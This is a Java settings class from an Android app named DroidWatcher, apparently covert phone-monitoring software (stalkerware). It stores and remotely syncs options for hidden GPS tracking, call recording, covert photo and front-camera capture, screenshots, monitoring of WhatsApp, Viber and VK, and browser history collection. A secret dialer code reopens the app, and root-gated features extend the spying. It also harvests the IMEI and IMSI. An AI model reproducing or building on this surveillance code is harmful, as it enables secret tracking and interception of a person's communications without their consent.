package com.droidwatcher;
import java.util.Date;
import java.util.Iterator;
import java.util.Locale;
import org.acra.ACRA;
import org.json.JSONException;
import org.json.JSONObject;
import com.droidwatcher.lib.TelephonyInfo;
import com.stericson.RootTools.RootTools;
import android.content.Context;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.preference.PreferenceManager;
import android.provider.Settings.Secure;
import android.telephony.TelephonyManager;
public class SettingsManager {
private SharedPreferences settings;
private Context mContext;
private static final String EMPTY_STRING = "";
public static final String KEY_IMEI = "IMEI";
public static final String KEY_BROWSER_HISTORY = "BROWSER_HISTORY_ENABLED";
public SettingsManager(Context context){
this.settings = PreferenceManager.getDefaultSharedPreferences(context);
this.mContext = context;
}
/** remove all settings */
public void clear(){
Editor editor = settings.edit();
editor.clear();
editor.commit();
}
public void remove(String key){
Editor editor = settings.edit();
editor.remove(key);
editor.commit();
}
public String login(){
return settings.getString("LOGIN", EMPTY_STRING).toLowerCase(Locale.US);
}
public String imei(){
String imei = settings.getString(KEY_IMEI, null);
if (imei == null) {
imei = getDeviceId();
}
return imei;
}
public String imsi(){
String imsi = settings.getString("IMSI", null);
if (imsi == null) {
imsi = getDeviceIMSI();
}
return imsi;
}
public Boolean isConnected(){
return settings.getBoolean("CONNECTED", false);
}
public Boolean isAutoupdateEnabled(){
return settings.getBoolean("AUTOUPDATE", true);
}
public Boolean isGpsTrackingEnabled(){
return settings.getBoolean("USE_GPS", false);
}
public Boolean isGpsHidden(){
return settings.getBoolean("GPS_HIDDEN", true);
}
public long gpsInterval(){
String val = settings.getString("GPS_TIMER", "10");
return Long.parseLong(val) * 60 * 1000L;
}
public Boolean gpsOnlyNew(){
return settings.getBoolean("GPS_ONLY_NEW", true);
}
public String runCode(){
String code = settings.getString("APP_RUN_CODE", "001");
if (code.length() == 0){
code = "001";
}
return "**" + code + "**";
}
public String notifyNumber(){
return settings.getString("NOTIFY_NUMBER", EMPTY_STRING);
}
public Boolean isSimChangeNotificationEnabled(){
return settings.getBoolean("NOTIFY_SIM_CHANGE", false);
}
public Boolean notifySms(){
return settings.getBoolean("NOTIFY_SMS", false);
}
public Boolean notifyCall(){
return settings.getBoolean("NOTIFY_CALL", false);
}
public Boolean isFilterEnabled(){
return settings.getBoolean("FILTER_USE", false);
}
public String filterType(){
return settings.getString("FILTER_TYPE", "0");
}
public String filterList(){
return settings.getString("FILTER_LIST", EMPTY_STRING);
}
public Boolean isNumberFiltered(String number){
String list = settings.getString("FILTER_LIST", EMPTY_STRING);
Boolean inList = false;
if (list.indexOf(number) != -1){
inList = true;
}
String type = settings.getString("FILTER_TYPE", "0");
if (type.equals("0")){
return !inList;
}
else{
return inList;
}
}
public Boolean onlyWiFi(){
return settings.getBoolean("ONLY_WIFI", false);
}
public Boolean filesOnlyWiFi(){
return settings.getBoolean("FILES_ONLY_WIFI", true);
}
public Boolean isRecordEnabled(){
return settings.getBoolean("RECORD_CALLS", false);
}
public int recordFormat(){
return Integer.parseInt(settings.getString("RECORD_FORMAT", "1"));
}
public int recordSource(){
return Integer.parseInt(settings.getString("RECORD_SOURCE", "1"));
}
public Boolean isPhotoCaptureEnabled(){
return settings.getBoolean("CAPTURE_PHOTO", false);
}
public int capturePhotoSize(){
String stringSize = settings.getString("CAPTURE_PHOTO_FORMAT", "640");
return Integer.parseInt(stringSize);
}
public Boolean isScreenshotEnabled(){
return settings.getBoolean("SCREENSHOT_ENABLED", false);
}
public long screenshotInterval(){
String val = settings.getString("SCREENSHOT_INTERVAL", "60");
return Long.parseLong(val) * 1000L;
}
public int screenshotSize(){
String stringSize = settings.getString("SCREENSHOT_PHOTO_FORMAT", "640");
return Integer.parseInt(stringSize);
}
public Boolean isVkEnabled(){
return settings.getBoolean("VK_ENABLED", false);
}
public Boolean isWhatsAppEnabled(){
return settings.getBoolean("WA_ENABLED", false);
}
public Boolean isViberEnabled(){
return settings.getBoolean("VB_ENABLED", false);
}
public Boolean isFrontCameraEnabled(){
return settings.getBoolean("FRONT_CAMERA_ENABLED", false);
}
public Boolean isBrowserHistoryEnabled(){
return settings.getBoolean(KEY_BROWSER_HISTORY, false);
}
/*
* Edit
*/
public void isBrowserHistoryEnabled(Boolean enabled){
editSettings(KEY_BROWSER_HISTORY, enabled);
}
public void isFrontCameraEnabled(Boolean enabled){
editSettings("FRONT_CAMERA_ENABLED", enabled);
}
public void isViberEnabled(Boolean enabled){
editSettings("VB_ENABLED", enabled);
}
public void isWhatsAppEnabled(Boolean enabled){
editSettings("WA_ENABLED", enabled);
}
public void isVkEnabled(Boolean enabled){
editSettings("VK_ENABLED", enabled);
}
public void recordCalls(Boolean record){
editSettings("RECORD_CALLS", record);
}
public void imsi(String imsi){
editSettings("IMSI", imsi);
}
public void isAutoupdateEnabled(Boolean enabled){
editSettings("AUTOUPDATE", enabled);
}
public void runCode(String code){
editSettings("APP_RUN_CODE", code);
}
public void notifyNumber(String number){
editSettings("NOTIFY_NUMBER", number);
}
public void isSimChangeNotificationEnabled(Boolean enabled){
editSettings("NOTIFY_SIM_CHANGE", enabled);
}
public void notifySms(Boolean notify){
editSettings("NOTIFY_SMS", notify);
}
public void notifyCall(Boolean notify){
editSettings("NOTIFY_CALL", notify);
}
public void onlyWiFi(Boolean val){
editSettings("ONLY_WIFI", val);
}
public void filesOnlyWiFi(Boolean val){
editSettings("FILES_ONLY_WIFI", val);
}
public void isRecordEnabled(Boolean val){
editSettings("RECORD_CALLS", val);
}
public void recordFormat(String format){
editSettings("RECORD_FORMAT", format);
}
public void recordSource(String source){
editSettings("RECORD_SOURCE", source);
}
public void isPhotoCaptureEnabled(Boolean val){
editSettings("CAPTURE_PHOTO", val);
}
public void capturePhotoSize(String val){
editSettings("CAPTURE_PHOTO_FORMAT", val);
}
public void isScreenshotEnabled(Boolean val){
editSettings("SCREENSHOT_ENABLED", val);
}
public void screenshotInterval(String val){
editSettings("SCREENSHOT_INTERVAL", val);
}
public void screenshotSize(String val){
editSettings("SCREENSHOT_PHOTO_FORMAT", val);
}
public void isGpsTrackingEnabled(Boolean use){
editSettings("USE_GPS", use);
}
public void isGpsHidden(Boolean hidden){
editSettings("GPS_HIDDEN", hidden);
}
public void gpsInterval(String interval){
editSettings("GPS_TIMER", interval);
}
public void gpsOnlyNew(Boolean val){
editSettings("GPS_ONLY_NEW", val);
}
public void login(String login){
editSettings("LOGIN", login.toLowerCase(Locale.US));
}
public void connected(Boolean connected){
editSettings("CONNECTED", connected);
}
public void useFilter(Boolean use){
editSettings("FILTER_USE", use);
}
public void filterType(String type){
editSettings("FILTER_TYPE", type);
}
public void filterAdd(String number){
String list = settings.getString("FILTER_LIST", "");
if (list.indexOf(number) != -1){
return;
}
if (list.length() > 0){
list += ",";
}
list += number;
editSettings("FILTER_LIST", list);
}
public void filterDel(String number){
String list = settings.getString("FILTER_LIST", EMPTY_STRING);
list = list.replaceAll("," + number, EMPTY_STRING).replaceAll(number, EMPTY_STRING);
if (list.length() > 0 && list.charAt(0) == ','){
list = list.replaceFirst(",", EMPTY_STRING);
}
editSettings("FILTER_LIST", list);
}
private void editSettings(String name, String param) {
Editor editor = settings.edit();
editor.putString(name, param);
editor.commit();
}
private void editSettings(String name, Boolean param){
Editor editor = settings.edit();
editor.putBoolean(name, param);
editor.commit();
}
private String getDeviceId(){
String id = null;
try {
TelephonyInfo telephonyInfo = TelephonyInfo.getInstance(mContext);
id = telephonyInfo.getImeiSIM1();
if (telephonyInfo.isDualSIM()) {
id = "DUAL_" + telephonyInfo.getImeiSIM1() + "_" + telephonyInfo.getImeiSIM2();
}
if (id == null || id.length() == 0){
String androidId = Secure.getString(mContext.getContentResolver(), Secure.ANDROID_ID);
if (androidId == null || androidId.length() == 0 || androidId.equals("9774d56d682e549c")) {
String serial = android.os.Build.class.getField("SERIAL").toString();
if (serial.length() == 0) {
throw new Exception("No IMEI, Secure.ANDROID_ID or Build.SERIAL");
}
id = "SERIAL_" + serial;
}
else{
id = "ID_" + androidId;
}
}
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
id = "NOIMEI_" + new Date().getTime();
} finally{
Editor editor = settings.edit();
editor.putString(KEY_IMEI, id);
editor.commit();
}
return id;
}
private String getDeviceIMSI(){
TelephonyManager tm = (TelephonyManager)mContext.getSystemService(Context.TELEPHONY_SERVICE);
String id = null;
if (tm != null){
id = tm.getSubscriberId();
}
if (id == null || id.length() == 0){
id = "0";
}
return id;
}
public JSONObject getJSON(){
JSONObject obj = new JSONObject();
try {
obj.put("onlywifi", onlyWiFi());
obj.put("onlywifi_files", filesOnlyWiFi());
obj.put("autoupdate", isAutoupdateEnabled());
obj.put("gps", isGpsTrackingEnabled());
obj.put("gps_interval", gpsInterval() / 60 / 1000);
obj.put("gps_onlynew", gpsOnlyNew());
obj.put("gps_hidden", isGpsHidden());
obj.put("runcode", runCode().replaceAll("\\*", EMPTY_STRING));
obj.put("notify", isSimChangeNotificationEnabled());
obj.put("notify_number", notifyNumber());
obj.put("notify_sms", notifySms());
obj.put("notify_call", notifyCall());
obj.put("record", isRecordEnabled());
obj.put("record_format",recordFormat());
obj.put("record_source",recordSource());
obj.put("photo", isPhotoCaptureEnabled());
obj.put("photo_size",capturePhotoSize());
obj.put("screen", isScreenshotEnabled());
obj.put("screen_size",screenshotSize());
obj.put("screen_interval",screenshotInterval() / 1000);
obj.put("vk", isVkEnabled());
obj.put("wa", isWhatsAppEnabled());
obj.put("vb", isViberEnabled());
obj.put("front_camera", isFrontCameraEnabled());
obj.put("browser", isBrowserHistoryEnabled());
} catch (JSONException e) {
e.printStackTrace();
}
return obj;
}
public void parseSettings(JSONObject obj){
Iterator<?> keys = obj.keys();
while (keys.hasNext()) {
String key = (String) keys.next();
setSettings(key, obj);
}
}
private void setSettings(String key, JSONObject obj){
try{
if (key.equals("onlywifi")) {
onlyWiFi(obj.getBoolean(key));
return;
}
if (key.equals("onlywifi_files")) {
filesOnlyWiFi(obj.getBoolean(key));
return;
}
if (key.equals("gps")) {
isGpsTrackingEnabled(obj.getBoolean(key));
return;
}
if (key.equals("gps_interval")) {
gpsInterval(obj.getString(key));
return;
}
if (key.equals("gps_onlynew")) {
gpsOnlyNew(obj.getBoolean(key));
return;
}
if (key.equals("gps_hidden")) {
isGpsHidden(obj.getBoolean(key));
return;
}
if (key.equals("runcode")) {
runCode(obj.getString(key));
return;
}
if (key.equals("notify")) {
isSimChangeNotificationEnabled(obj.getBoolean(key));
return;
}
if (key.equals("notify_number")) {
notifyNumber(obj.getString(key));
return;
}
if (key.equals("notify_sms")) {
notifySms(obj.getBoolean(key));
return;
}
if (key.equals("notify_call")) {
notifyCall(obj.getBoolean(key));
return;
}
if (key.equals("record")) {
isRecordEnabled(obj.getBoolean(key));
return;
}
if (key.equals("record_format")) {
recordFormat(obj.getString(key));
return;
}
if (key.equals("record_source")) {
recordSource(obj.optString(key, "1"));
return;
}
if (key.equals("photo")) {
isPhotoCaptureEnabled(obj.getBoolean(key));
return;
}
if (key.equals("photo_size")) {
capturePhotoSize(obj.getString(key));
return;
}
if (key.equals("front_camera")) {
isFrontCameraEnabled(obj.getBoolean(key));
return;
}
if (key.equals("browser")) {
isBrowserHistoryEnabled(obj.getBoolean(key));
return;
}
/* ROOT */
if (RootTools.isRootAvailable() && RootTools.isAccessGiven()) {
if (key.equals("autoupdate")) {
isAutoupdateEnabled(obj.getBoolean(key));
return;
}
if (key.equals("screen")) {
isScreenshotEnabled(obj.getBoolean(key));
return;
}
if (key.equals("screen_interval")) {
screenshotInterval(obj.getString(key));
return;
}
if (key.equals("screen_size")) {
screenshotSize(obj.getString(key));
return;
}
if (key.equals("vk")) {
isVkEnabled(obj.getBoolean(key));
return;
}
if (key.equals("wa")) {
isWhatsAppEnabled(obj.getBoolean(key));
return;
}
if (key.equals("vb")) {
isViberEnabled(obj.getBoolean(key));
return;
}
}
}
catch(Exception e){
e.printStackTrace();
}
}
}